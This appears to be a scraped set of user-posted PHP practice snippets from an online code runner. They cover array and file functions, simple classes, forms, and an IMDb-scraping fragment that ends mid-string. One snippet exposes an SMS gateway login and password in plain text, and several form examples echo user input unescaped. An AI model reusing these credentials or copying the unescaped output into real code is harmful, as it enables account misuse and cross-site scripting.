<?php //Enter your code here, enjoy! $data=array(258300,668000,-1510530,15000,2400,13400,284000,-45000000,7209702,1000074080,0,1100); $bak_index=array(); $bak=array(); $index_start=0; // print_r(count($data)); // exit; for($i=0;$i<count($data);$i++){ if($data[$i] <=0){ echo $i.'='.$data[$i].'__'; $index_end=$i; $bak_index['start']=$index_start; $bak_index['end']=$index_end; $bak_index['total']=$bak_index['end']-$bak_index['start']; $index_start=$i+1; $bak[]=$bak_index; } } echo "<pre>"; print_r($bak);//here is array with start index, end index & total positive consecutive value $max_value=max(array_column($bak, 'total')); //print_r($max_value); for ($i=0; $i < count($bak) ; $i++) { if($bak[$i]['total'] == $max_value){ echo $bak[$i]['start']; echo "_____"; echo $bak[$i]['end']; echo "<br>"; $value[]= array_slice($data, $bak[$i]['start'], $bak[$i]['total']); } } print_r($value);

touch function

<?php $myfile = "new.txt"; $set_time = time() - 28800; // changing the modification time if (touch($myfile, $set_time)) { echo ("The modification time of $myfile updated to 8 hrs in the past."); } else { echo ("The modification time of $myfile can’t be updated."); } ?>

mkdir function

<?php mkdir("QA", 0700); ?>

diskfreespace function in PHP

<?php $free_space = diskfreespace("/home/"); echo "Free Space: $free_space"; ?>

basename() function in PHP

<?php $file_path = "/backup/myfiles/new.php"; // displays name of the file with extension echo basename($file_path); ?>

file_exists() method in PHP

<?php $myfile = '/doc/candidate.txt'; if (file_exists($myfile)) { echo "$myfile exists!"; } else { echo "$myfile does not exist!"; } ?>

array_map() function in PHP

<?php function square($n) { return($n * $n); } $arr = array(1, 2, 3); $res = array_map("square", $arr); print_r($res); ?>

array_keys() function in PHP

<?php $arr = array("one" => "Pen", "two" => "Pencil", "three" => "Paper", "four" => "Notepad"); print_r(array_keys($arr)); ?>

array_intersect_ukey() function in PHP

<?php function check($a,$b) { if ($a===$b) { return 0; } return ($a>$b)?1:-1; } $arr1 = array("a"=>"one","b"=>"two","c"=>"three"); $arr2 = array("a"=>"one","b"=>"two"); $result = array_intersect_ukey($arr1,$arr2,"check"); print_r($result); ?>

array_intersect_assoc() function in PHP

<?php $arr1 = array("p"=>"headphone","q"=>"earpod","r"=>"charger"); $arr2 = array("p"=>"headphone","q"=>"earpod"); $res = array_intersect_assoc($arr1,$arr2); print_r($res); ?>

array_intersect in PHP

<?php $arr1 = array(15, 30, 40, 60, 78, 100, 130, 145, 150); $arr2 = array(50, 60, 70, 80, 90, 100); $res = array_intersect($arr1,$arr2); print_r($res); ?>

array_flip() function in PHP

<?php $arr = array("p"=>"keyboard","q"=>"mouse","r"=>"monitor"); $res = array_flip($arr); print_r($res); ?>

array_change_key_case() function in PHP

<?php $vehicle = array("b"=>"Bus","t"=>"Truck"); print_r(array_change_key_case($vehicle,CASE_UPPER));?>

Example of associative arrays

<?php $rank = array("Football"=>"1","Cricket"=>"2"); foreach($rank as $mykey=>$myvalue) { echo "Key = " . $mykey . ", Value = " . $myvalue; echo "<br>"; } ?>

php today

<?php //The range() function creates an array containing a range of elements. //This function returns an array of elements from low to high. //If the low parameter is higher than the high parameter, the range array will be from high to low. //Syntax range(low,high,step) $number = range(0,5); print_r ($number); //The array_slice() function returns selected parts of an array. Note: If the array have string keys, the returned array will always preserve the keys (See example 4). Syntax array_slice(array,start,length,preserve) $a=array("red","green","blue","yellow","brown"); print_r(array_slice($a,2)); //The array_push() function inserts one or more elements to the end of an array. Tip: You can add one value, or as many as you like. Note: Even if your array has string keys, your added elements will always have numeric keys. Syntax array_push(array,value1,value2...) $b=array("red","green"); array_push($b,"white","colorless"); print_r($b); //The array_unshift() function inserts new elements to an array. The new array values will be inserted in the beginning of the array. Tip: You can add one value, or as many as you like.Note: Numeric keys will start at 0 and increase by 1. String keys will remain the same. Syntax array_unshift(array,value1,value2,value3...) $c=array("a"=>"indigo","b"=>"orange"); array_unshift($c,"violet"); print_r($c); //The array_pop() function deletes the last element of an array. Syntax array_pop(array) $d=array("nyeusi","nyekundu","samawati"); array_pop($d); print_r($d); //The array_shift() function removes the first element from an array, and returns the value of the removed element.Note: If the keys are numeric, all elements will get new keys, starting from 0 and increases by 1. Syntax array_shift(array) $e=array("a"=>"nyeupe","b"=>"kijani","c"=>"hudhurungi"); echo array_shift($e); print_r ($e); ?> <?php echo "<h1>Hello, PHP!</h1>\n"; $tiny = '<table class="small" style="width: 538px;">TAB1</table> <table class="small2" style="width: 538px;">TAB2</table>'; $small = '<table class="small" style="width: 538px;"> <tbody> <tr> <td style="width: 101px;"><strong>SLIDE1</strong></td> </tr> <tr> <td style="width: 101px;"><strong>Title</strong></td> <td class="title" style="width: 417px;">CORE</td></tr></tbody> </table>'; $whole = '<table class="slide1" style="width: 538px;"> <tbody> <tr> <td style="width: 101px;"><strong>SLIDE1</strong></td> </tr> <tr> <td style="width: 101px;"><strong>Title</strong></td> <td class="title" style="width: 417px;">CORE</td> </tr> <tr> <td style="width: 101px;"><strong>Subtitle</strong></td> <td class="subtitle" style="width: 417px;">Feel the beat</td> </tr> <tr> <td style="width:101px;"><strong>Paragraph</strong></td> <td class="paragraph" style="width: 417px;">Our new and improved...</td> </tr> </tbody> </table>&nbsp;<table class="slide2" style="width: 538px;"> <tbody> <tr> <td style="width: 101px;"><strong>SLIDE2</strong></td> </tr> <tr> <td style="width: 101px;"><strong>Title</strong></td> <td class="title" style="width: 417px;">Pulse</td> </tr> <tr> <td style="width: 101px;"><strong>Subtitle</strong></td> <td class="subtitle" style="width: 417px;">Vibrating Sonar</td> </tr> <tr> <td style="width:101px;"><strong>Paragraph</strong></td> <td class="paragraph" style="width: 417px;">dance dance revolution yall!</td> </tr> </tbody> </table>';; //delete line break "&nbsp" $line_break = "&nbsp"; echo str_replace($line_break,",$whole); echo "\n"; // split_tables($tiny); $tab_start = '<table'; $tab_end = '</table>'; $tables = array(); find_tables($tiny, $tab_start, $tab_end); function find_tables($entry, $tab_start, $tab_end){ global $tables; $ent = $entry; $temp = 0; // add_table($ent, $tab_start, $tab_end); while(check_for_tables($ent, $tab_start, $tab_end)){ $tab = split_part($ent, $tab_start, $tab_end)[0]; $ent = split_part($ent, $tab_start, $tab_end)[1]; array_push($tables, $tab); $temp = $temp+1; echo "\nt:" . $temp . "\n"; } } print_r($tables); // check_for_tables($tiny, $tab_start, $tab_end); function check_for_tables($ent, $start, $end){//make certain table exists in string if ((strpos($ent, $start) !== false) && (strpos($ent, $end) !== false)){ echo 'true' . "\n"; //table still left return true; } } // echo split_part($tiny, $tab_start, $tab_end)[0]; function split_part($ent, $start, $end){ //takes first table entry $start_len = strlen($start); $end_len = strlen($end); // echo "len: " . strlen($ent) . " '" . $start ."': " . $start_len . " '" . $end . "' : " . $end_len ."\n"; if (strpos($ent, $start) === false) { //check if table exists (maybe redundant and done outside before calling this fun) echo "nowt";// return $entry_body; } $_start = strpos($ent, $start, 0); $_end = strpos($ent, $end, 0); // echo $_start . " " . $_end . "\n"; //creates two strings 1st being cut table 2nd being rest of string/code $new_table = substr($ent, $_start, $_end+$end_len); $leftover = substr($ent, $_end+$end_len, strlen($ent)); // echo $new_table . " !!! " . $leftover; return array($new_table, $leftover); } get_string($tables[0], 'class="', '"'); function get_string($ent, $start, $end){ //get class name or other parts $start_len = strlen($start); $end_len = strlen($end); echo "len: " . strlen($ent) . " '" . $start ."': " . $start_len . " '" . $end . "' : " . $end_len ."\n"; if (strpos($ent, $start) === false) { echo "nowt"; } $_start = strpos($ent, $start, 0); $_end = strpos($ent, $end, 0); echo $_start . " " . $_end . "\n"; $str = substr($ent, $_start+$start_len, $_end-$_start-$end_len); echo $str; return substr($ent, $_start+$start_len, $_end-$_start-$end_len); //TODO make above seperate reusable function } //TODO break up td and tr ?> <?php $tabla=8; { echo "<h3>tabla del $tabla </h3>"; for($i=1; $i<=12; $i++) { echo "$tabla x $i = ". ($tabla*$i) . "<br/>"; } }?>

https://pt.stackoverflow.com/q/40262/101

<?php $date = DateTime::createFromFormat('d/m/Y', '31/10/2014'); echo $date->format('Y-m-d'); //https://pt.stackoverflow.com/q/40262/101 <?php $models = [ ['id' => 1, 'title' => 'array'], ['id' => 2, 'title' => 'functions'], ['id' => 3, 'title' => 'combine'], ]; $id_to_title = array_combine( array_column($models, 'id'), array_column($models, 'title') ); print_r($id_to_title);

clusterGroups

<?php /** * Combine all arrays that share a number between them. * [[1, 2], [2, 3], [4, 5]] => [[1, 2, 3], [4, 5]] */ function clusterGroups($groups) { $clusters = []; foreach ($groups as $group) { foreach ($clusters as $key => $cluster) { // Check for every number in the group. foreach ($group as $number) { if (in_array($number, $cluster)) { $clusters[$key] = array_values(array_unique(array_merge($cluster, $group))); // Continue to the next group. continue 3; } } } // No matching cluster found, add the group as a new cluster. $clusters[] = $group; } // If nothing happened everything has been merged. if ($groups === $clusters) { return $clusters; } else { // Non-recursive: [[1,2],[3,4,6],[4,5]] // return $clusters; return clusterGroups($clusters); } } // Problem: Slow as shit when large data introduced. echo json_encode(clusterGroups([ [1, 2], [3], [4, 5], [3, 4], [4, 6], ]));

asdf

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <body> <?php // Failing test with old code 2.18 should map to 2:11 // Casting to int in PHP is the same as floor(float) $duration = "2.18"; $hours = (int) $duration; $minutes = (int) (($duration - $hours) * 60); echo "2.18 should map to 2:11 - Result from old code: " . $hours . ":" . $minutes; // Passing test with new code 2.18 should map to 2:11 // We correctly use round here $duration = "2.18"; $duration = explode('.', $duration); $hours = $duration[0]; $minutes = round($duration[1] * 60 / 100); echo "\n\n2.18 should map to 2:11 - Result from new code: " . $hours . ":" . $minutes . "\n"; ?> </body> </html> <html> <body> <?php // Failing test with old code 2.18 should map to 2:11 // Casting to int in PHP is the same as floor(float) $duration = "2.18"; $hours = (int) $duration; $minutes = (int) (($duration - $hours) * 60); echo "2.18 should map to 2:11 - Result from old code: " . $hours . ":" . $minutes; // Passing test with new code 2.18 should map to 2:11 // We correctly use round here $duration = "2.18"; $duration = explode('.', $duration); $hours = $duration[0]; $minutes = round($duration[1] * 60 / 100); echo "\n\n2.18 should map to 2:11 - Result from old code: " . $hours . ":" . $minutes . "\n"; ?> </body> </html>

Dani

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $a = array(); $a["string"] = "😁"; $b = json_encode($a); echo $b; ?> </body> </html>

y54i

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php $array = explode(' ', file_get_contents('php://stdin')); $index = 0; $xy = (int)$array[2]/(int)$array[3]; for ($w = 1; $w <= $array[0]; $w++){ for ($h = 1; $h <=$array[1]; $h++) { if ($w/$h == $xy){ $index++; } } } fwrite(STDOUT, $index); ?> <?php /* Ένα απο τα πρώτα προγραμματάκια για να μάθω την γλώσσα προγραμματισμού PHP. Ο διερμηνευτής τα αγνοεί αυτά τα σχόλια */ // Αυτό είναι ένα σχόλιο μιας γραμμής /*$onoma = 'Στέλιος'; // Αυτό είναι το όνομα $epitheto = 'Λαμπρόπουλος'; // αυτό είναι το επίθετο $ilikia = 43; // και αυτή είναι η ηλικία // Εδώ φαίνεται ολόκληρο το μήνυμα echo 'Το όνομα μου είναι ', $onoma, ' ', $epitheto, ' και είμαι ', $ilikia, ' ετών'; */?>

https://pt.stackoverflow.com/q/39202/101

<?php $num = 0; if ($num > 100) echo 'valor muito alto'; else if ($num < 80 && $num > 51) echo 'valor medio'; else if ($num == 50) echo 'valor perfeito'; else if ($num <= 10) echo 'valor muito baixo'; else if ($num == 0) echo'sem valor'; //https://pt.stackoverflow.com/q/39202/101 <html> <body> <form method="post"> Enter First Number: <input type="number" name="number1" /><br><br> Enter Second Number: <input type="number" name="number2" /><br><br> <input type="submit" name="submit" value="Add"> </form> <?php if(isset($_POST['submit'])) { $number1 = $_POST['number1']; $number2 = $_POST['number2']; $sum = $number1+$number2; echo "The sum of $number1 and $number2 is: ".$sum; } ?> </body> </html> <html> <body> <form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>"> Name: <input type="text" name="fname" value="sachin"> <input type="submit"> </form> <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { // collect value of input field $name = $_REQUEST['fname']; if (empty($name)) { echo "Name is empty"; } else { echo $name; } } ?> </body> </html>

llli

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

les3

<?php class ShopProduct { public $title = "Стандартный товар"; public $producerMainName = "Фамилия автора"; public $producerFirstName = "Имя автора"; public $price = 0; function __construct( $title, $firstName, $mainName, $price ){ $this->title = $title; $this->producerFirstName = $firstName; $this->producerMainName = $mainName; $this->price = $price; } function getProducer() { return "{$this->producerFirstName} "." {$this->producerMainName}"; } } $product1 = new ShopProduct( "Собачье сердце", "Михаил", "Булгаков", 5.99 ); print "Автор: {$product1->getProducer()}\n"; // результат: Автор : Михаил Булгаков*/?>

les1

<?php class ShopProduct { public $title = "Стандартный товар"; public $producerMainName = "Фамилия автора"; public $producerFirstName = "Имя автора"; public $price = 0; } $product1 = new ShopProduct(); $product2 = new ShopProduct(); /*var_dump($product1); var_dump($product2);*/ /*print $product1->title; //результат: Стандартный товар*/ /*$product1->title = "Coбaчьe сердце"; $product2->title = "Peвизop"; print $product1->title; print $product2->title; //результат: Coбaчьe сердцеPeвизop*/ $product1->title = "Собачье сердце"; $product1->producerMainName = "Булгаков"; $product1->producerFirstName = "Михаил"; $product1->price = 5.99; print "Автор : {$product1->producerFirstName} " . " {$product1->producerMainName}\n"; // результат: Автор : Михаил Булгаков?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<?php echo "Hello World!!!" ; echo 'This is the first php example of my career \n'; $firstname='Kostas'; $lastname='Pahis'; echo $firstname," ",$lastname; ?>

9536

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php spl_autoload_register(function($class) { echo $class; }); $class = 'Controllers\Controller'; $file = 'app/' .str_replace('\\', '/', $class) .'.php'; echo $file; echo "<br>"; $base = new ClassName; <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> <?php $fname=array("Peter","Ben","Joe"); $age=array("35","37","43"); $c=array_combine($fname,$age); print_r($c); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $x="you are great"; echo "<h1>Hello, anshu!</h1>\n"; function anshu(){ global $x; echo $x; } anshu(); $y=356; $cars=array ("vovo","maruti","wagonr","Audi","mercdeez",$y); var_dump($cars); echo strlen ("anshu is great \n "); echo ("\n"); echo str_word_count ("anshu is great \n "); echo("\n"); echo strrev ("anshu"); ?> </body> </html> <html> <head> <title>hai</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

nnnnnnnnnnnnnnnn

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

php-curl-sms-sample-test-live

<?php $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId='vimtalabs'&password='vgo8bymK'&senderId='VIMTAL'&sendMethod=simpleMsg&msgType=text&mobile=9199999999999&msg=This%20is%20my%20first%20message%20with%20SMSGateway.Center&duplicateCheck=true&format=json&scheduleTime=2017-06-13%2020%3A22%3A00", CURLOPT_HTTPHEADER => array( "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; } <?php $a = array( 'lms.picking_time-3-SDD' => 12, 'lms.packing_time-3-SDD' => 01, 'lms.shipping_sorting_time-3-SDD' => 0, 'lms.packet_picking_time-3-SDD' => 5, 'lms.stn_handling_time-3-SDD' => 3, ); unset($a['lms.picking_time-3-SDD']); print_r($a);?>

Petugas Liqo

<?php $names = array('Wiky', 'Farhan', 'Yana', 'Syarief', 'Imam', 'Zulfa', 'Sidik', 'Hasfi'); $mc = $kultum = $doa = $info = $names; $mc_blacklist = array('Farhan'); $kultum_blacklist = array('Syarief', 'Wiky'); $doa_blacklist = array('Yana', 'Farhan'); $info_blacklist = array(); $mc_whitelist = array_diff($mc, $mc_blacklist); $kultum_whitelist = array_diff($kultum, $kultum_blacklist); $doa_whitelist = array_diff($doa, $doa_blacklist); $info_whitelist = array_diff($info, $info_blacklist); shuffle($mc_whitelist); shuffle($kultum_whitelist); shuffle($doa_whitelist); shuffle($info_whitelist); $petugas = array_slice($mc_whitelist,0,2); while(count($petugas)<4){ $idx = rand(0,count($kultum_whitelist)-1); if(!in_array($kultum_whitelist[$idx], $petugas)) array_push($petugas,$kultum_whitelist[$idx]); } while(count($petugas)<6){ $idx = rand(0,count($doa_whitelist)-1); if(!in_array($doa_whitelist[$idx], $petugas)) array_push($petugas,$doa_whitelist[$idx]); } while(count($petugas)<8){ $idx = rand(0,count($info_whitelist)-1); if(!in_array($info_whitelist[$idx], $petugas)) array_push($petugas,$info_whitelist[$idx]); } echo 'MC: '.$petugas[0].'-'.$petugas[1].'<br>'; echo 'Kultum: '.$petugas[2].'-'.$petugas[3].'<br>'; echo 'Doa: '.$petugas[4].'-'.$petugas[5].'<br>'; echo 'Info: '.$petugas[6].'-'.$petugas[7].'<br>'; ?>

dr jadid

<?php function beyn($str, $start, $end){ $str = explode($start, $str); $str = explode($end, $str[1]); return $str[0]; } $re = '/href=\"\/name\/(.*?)\/(.*?)\">(.*?)<\/a>/'; $html = '<html xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head><script async=" src="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/ClientSideMetricsAUIJavascript-16f8e70a73113de25cd7bf8747195fe6e3f5d25e._V2_.js" crossorigin="anonymous"></script><script>function inject() { var originalOpenWndFnKey = "originalOpenFunction"; var originalWindowOpenFn = window.open, originalCreateElementFn = document.createElement, originalAppendChildFn = HTMLElement.prototype.appendChild; originalCreateEventFn = document.createEvent, windowsWithNames = {}; var timeSinceCreateAElement = 0; var lastCreatedAElement = null; var fullScreenOpenTime; var winWidth = window.innerWidth; var winHeight = window.innerHeight; var parentRef = window.parent; var parentOrigin = (window.location != window.parent.location) ? document.referrer: document.location; Object.defineProperty(window, \'BetterJsPop\', { value: undefined, writable: false }); window[originalOpenWndFnKey] = window.open; // save the original open window as global param function newWindowOpenFn() { var openWndArguments = arguments, useOriginalOpenWnd = true, generatedWindow = null; function blockedWndNotification(openWndArguments) { parentRef.postMessage({ type: "blockedWindow", args: JSON.stringify(openWndArguments) }, parentOrigin); } function getWindowName(openWndArguments) { var windowName = openWndArguments[1]; if ((windowName != null) && (["_blank", "_parent", "_self", "_top"].indexOf(windowName) < 0)) { return windowName; } return null; } function copyMissingProperties(src, dest) { var prop; for(prop in src) { try { if (dest[prop] === undefined) { dest[prop] = src[prop]; } } catch (e) {} } return dest; } function isParentWindow() { try { return !!(parent.Window && capturingElement instanceof parent.Window); } catch (e) { return false; } } function isOverlayish(el) { var style = el && el.style; if (style && /fixed|absolute/.test(style.position) && el.offsetWidth >= winWidth * 0.6 && el.offsetHeight >= winHeight * 0.75) { return true; } return false; } var capturingElement = null; // the element who registered to the event var srcElement = null; // the clicked on element var closestParentLink = null; if (window.event != null) { capturingElement = window.event.currentTarget; srcElement = window.event.srcElement; } if (srcElement != null && srcElement instanceof HTMLElement) { closestParentLink = srcElement.closest(\'a\'); if (closestParentLink && closestParentLink.href) { openWndArguments[3] = closestParentLink.href; } } //callee will not work in ES6 or stict mode try { if (capturingElement == null) { var caller = openWndArguments.callee; while (caller.arguments != null && caller.arguments.callee.caller != null) { caller = caller.arguments.callee.caller; } if (caller.arguments != null && caller.arguments.length > 0 && caller.arguments[0].currentTarget != null) { capturingElement = caller.arguments[0].currentTarget; } } } catch (e) {} ///////////////////////////////////////////////////////////////////////////////// // Blocked if a click on background element occurred (<body> or document) ///////////////////////////////////////////////////////////////////////////////// if (capturingElement == null) { window.pbreason = \'Blocked a new window opened without any user interaction\'; useOriginalOpenWnd = false; } else if (capturingElement != null && (capturingElement instanceof Window || isParentWindow(capturingElement) || capturingElement === document || capturingElement.URL != null && capturingElement.body != null || capturingElement.nodeName != null && (capturingElement.nodeName.toLowerCase() == "body" || capturingElement.nodeName.toLowerCase() == "document"))) { window.pbreason = "Blocked a new window opened with URL: " + openWndArguments[0] + "because it was triggered by the " + capturingElement.nodeName + " element"; useOriginalOpenWnd = false; } else if (isOverlayish(capturingElement)) { window.pbreason = \'Blocked a new window opened when clicking on an element that seems to be an overlay\'; useOriginalOpenWnd = false; } else { useOriginalOpenWnd = true; } ///////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////// // Block if a full screen was just initiated while opening this url. ///////////////////////////////////////////////////////////////////////////////// var fullScreenElement = document.webkitFullscreenElement || document.mozFullscreenElement || document.fullscreenElement; if (new Date().getTime() - fullScreenOpenTime < 1000 || isNaN(fullScreenOpenTime) && isDocumentInFullScreenMode()) { window.pbreason = "Blocked a new window opened with URL: " + openWndArguments[0] + "because a full screen was just initiated while opening this url."; /* JRA REMOVED if (window[script_params.fullScreenFnKey]) { window.clearTimeout(window[script_params.fullScreenFnKey]); } */ if (document.exitFullscreen) { document.exitFullscreen(); } else if (document.mozCancelFullScreen) { document.mozCancelFullScreen(); } else if (document.webkitCancelFullScreen) { document.webkitCancelFullScreen(); } useOriginalOpenWnd = false; } ///////////////////////////////////////////////////////////////////////////////// if (useOriginalOpenWnd == true) { generatedWindow = originalWindowOpenFn.apply(this, openWndArguments); // save the window by name, for latter use. var windowName = getWindowName(openWndArguments); if (windowName != null) { windowsWithNames[windowName] = generatedWindow; } // 2nd line of defence: allow window to open but monitor carefully... ///////////////////////////////////////////////////////////////////////////////// // Kill window if a blur (remove focus) is called to that window ///////////////////////////////////////////////////////////////////////////////// if (generatedWindow !== window) { var openTime = new Date().getTime(); var originalWndBlurFn = generatedWindow.blur; generatedWindow.blur = () => { if (new Date().getTime() - openTime < 1000 /* one second */) { window.pbreason = "Blocked a new window opened with URL: " + openWndArguments[0] + "because a it was blured"; generatedWindow.close(); blockedWndNotification(openWndArguments); } else { originalWndBlurFn(); } }; } ///////////////////////////////////////////////////////////////////////////////// } else { // (useOriginalOpenWnd == false) var location = { href: openWndArguments[0] }; location.replace = function(url) { location.href = url; }; generatedWindow = { close: function() {return true;}, test: function() {return true;}, blur: function() {return true;}, focus: function() {return true;}, showModelessDialog: function() {return true;}, showModalDialog: function() {return true;}, prompt: function() {return true;}, confirm: function() {return true;}, alert: function() {return true;}, moveTo: function() {return true;}, moveBy: function() {return true;}, resizeTo: function() {return true;}, resizeBy: function() {return true;}, scrollBy: function() {return true;}, scrollTo: function() {return true;}, getSelection: function() {return true;}, onunload: function() {return true;}, print: function() {return true;}, open: function() {return this;}, opener: window, closed: false, innerHeight: 480, innerWidth: 640, name: openWndArguments[1], location: location, document: {location: location} }; copyMissingProperties(window, generatedWindow); generatedWindow.window = generatedWindow; var windowName = getWindowName(openWndArguments); if (windowName != null) { try { // originalWindowOpenFn(", windowName).close(); windowsWithNames[windowName].close(); } catch (err) { } } var fnGetUrl = function () { var url; if (!(generatedWindow.location instanceof Object)) { url = generatedWindow.location; } else if (!(generatedWindow.document.location instanceof Object)) { url = generatedWindow.document.location; } else if (location.href != null) { url = location.href; } else { url = openWndArguments[0]; } openWndArguments[0] = url; blockedWndNotification(openWndArguments); }; if (top == self) { setTimeout(fnGetUrl, 100); } else { fnGetUrl(); } } return generatedWindow; } ///////////////////////////////////////////////////////////////////////////////// // Replace the window open method with Poper Blocker\'s ///////////////////////////////////////////////////////////////////////////////// window.open = function() { try { return newWindowOpenFn.apply(this, arguments); } catch(err) { return null; } }; ///////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////// // Monitor dynamic html element creation to prevent generating <a> elements with click dispatching event ////////////////////////////////////////////////////////////////////////////////////////////////////////// HTMLElement.prototype.appendChild = function () { var newElement = originalAppendChildFn.apply(this, arguments); if (newElement.nodeName == \'IFRAME\' && newElement.contentWindow) { try { var code = "(function () {"+ inject.toString() + "inject()})();"; var s = document.createElement(\'script\'); s.textContent = code; var doc = newElement.contentWindow.document; (doc.head || doc.body).appendChild(s); } catch (e) { } } return newElement; }; document.createElement = function (tagName) { var newElement = originalCreateElementFn.apply(document, arguments); if (tagName.toLowerCase() == \'a\') { timeSinceCreateAElement = new Date().getTime(); var originalDispatchEventFn = newElement.dispatchEvent; newElement.dispatchEvent = function (event) { if (event.type != null && ((" + event.type).toLocaleLowerCase() == "click")) { window.pbreason = "blocked due to an explicit dispatchEvent event with type \'click\' on an \'a\' tag"; parentRef.postMessage({type:"blockedWindow", args: JSON.stringify({"0": newElement.href}) }, parentOrigin); return true; } return originalDispatchEventFn(event); }; lastCreatedAElement = newElement; } return newElement; }; ///////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////// // Block artificial mouse click on frashly created <a> elements ///////////////////////////////////////////////////////////////////////////////// document.createEvent = function () { try { if (arguments[0].toLowerCase().includes("mouse") && new Date().getTime() - timeSinceCreateAElement <= 50) { var openUrlDomain, topUrl, topDomain; try { openUrlDomain = new URL(lastCreatedAElement.href).hostname; } catch (e) {} try { topUrl = window.location != window.parent.location ? document.referrer : document.location.href; } catch (e) {} try { topDomain = new URL(topUrl).hostname; } catch (e) {} //block if the origin is not same var isSelfDomain = openUrlDomain == topDomain; if (lastCreatedAElement.href.trim() && !isSelfDomain) { //this makes too much false positive so we do not display the toast message window.pbreason = "Blocked because \'a\' element was recently created and " + arguments[0] + "event was created shortly after"; arguments[0] = lastCreatedAElement.href; parentRef.postMessage({ type: "blockedWindow", args: JSON.stringify({"0": lastCreatedAElement.href}) }, parentOrigin); return { type: \'click\', initMouseEvent: function () {} }; } } return originalCreateEventFn.apply(document, arguments); } catch (err) {} }; ///////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////// // Monitor full screen requests ///////////////////////////////////////////////////////////////////////////////// function onFullScreen(isInFullScreenMode) { if (isInFullScreenMode) { fullScreenOpenTime = (new Date()).getTime(); // console.info("fullScreenOpenTime = " + fullScreenOpenTime); } else { fullScreenOpenTime = NaN; } }; ///////////////////////////////////////////////////////////////////////////////// function isDocumentInFullScreenMode() { // Note that the browser fullscreen (triggered by short keys) might // be considered different from content fullscreen when expecting a boolean return ((document.fullScreenElement && document.fullScreenElement !== null) || // alternative standard methods ((document.mozFullscreenElement != null) || (document.webkitFullscreenElement != null))); // current working methods } document.addEventListener("fullscreenchange", function () { onFullScreen(document.fullscreen); }, false); document.addEventListener("mozfullscreenchange", function () { onFullScreen(document.mozFullScreen); }, false); document.addEventListener("webkitfullscreenchange", function () { onFullScreen(document.webkitIsFullScreen); }, false); } inject()</script> <script type="text/javascript">var ue_t0=ue_t0||+new Date();</script> <script type="text/javascript"> window.ue_ihb = (window.ue_ihb || window.ueinit || 0) + 1; if (window.ue_ihb === 1) { var ue_csm = window, ue_hob = +new Date(); (function(d){var e=d.ue=d.ue||{},f=Date.now||function(){return+new Date};e.d=function(b){return f()-(b?0:d.ue_t0)};e.stub=function(b,a){if(!b[a]){var c=[];b[a]=function(){c.push([c.slice.call(arguments),e.d(),d.ue_id])};b[a].replay=function(b){for(var a;a=c.shift();)b(a[0],a[1],a[2])};b[a].isStub=1}};e.exec=function(b,a){return function(){if(1==window.ueinit)try{return b.apply(this,arguments)}catch(c){ueLogError(c,{attribution:a||"undefined",logLevel:"WARN"})}}}})(ue_csm); var ue_err_chan = \'jserr\'; (function(d,e){function h(f,b){if(!(a.ec>a.mxe)&&f){a.ter.push(f);b=b||{};var c=f.logLevel||b.logLevel;c&&c!==k&&c!==m&&c!==n&&c!==p||a.ec++;c&&c!=k||a.ecf++;b.pageURL="+(e.location?e.location.href:");b.logLevel=c;b.attribution=f.attribution||b.attribution;a.erl.push({ex:f,info:b})}}function l(a,b,c,e,g){d.ueLogError({m:a,f:b,l:c,c:"+e,err:g,fromOnError:1,args:arguments},g?{attribution:g.attribution,logLevel:g.logLevel}:void 0);return!1}var k="FATAL",m="ERROR",n="WARN",p="DOWNGRADED",a={ec:0,ecf:0, pec:0,ts:0,erl:[],ter:[],mxe:50,startTimer:function(){a.ts++;setInterval(function(){d.ue&&a.pec<a.ec&&d.uex("at");a.pec=a.ec},1E4)}};l.skipTrace=1;h.skipTrace=1;h.isStub=1;d.ueLogError=h;d.ue_err=a;e.onerror=l})(ue_csm,window); var ue_id = \'RC4M9JGT86H72N9QM0HS\', ue_url, ue_navtiming = 1, ue_mid = \'A1EVAM02EL8SFB\', ue_sid = \'136-0179708-1357574\', ue_sn = \'www.imdb.com\', ue_furl = \'fls-na.amazon.com\', ue_surl = \'https://unagi-na.amazon.com/1/events/com.amazon.csm.nexusclient.prod\', ue_int = 0, ue_fcsn = 1, ue_urt = 3, ue_rpl_ns = \'cel-rpl\', ue_ddq = 1, ue_fpf = \'//fls-na.amazon.com/1/batch/1/OP/A1EVAM02EL8SFB:136-0179708-1357574:RC4M9JGT86H72N9QM0HS$uedata=s:\', 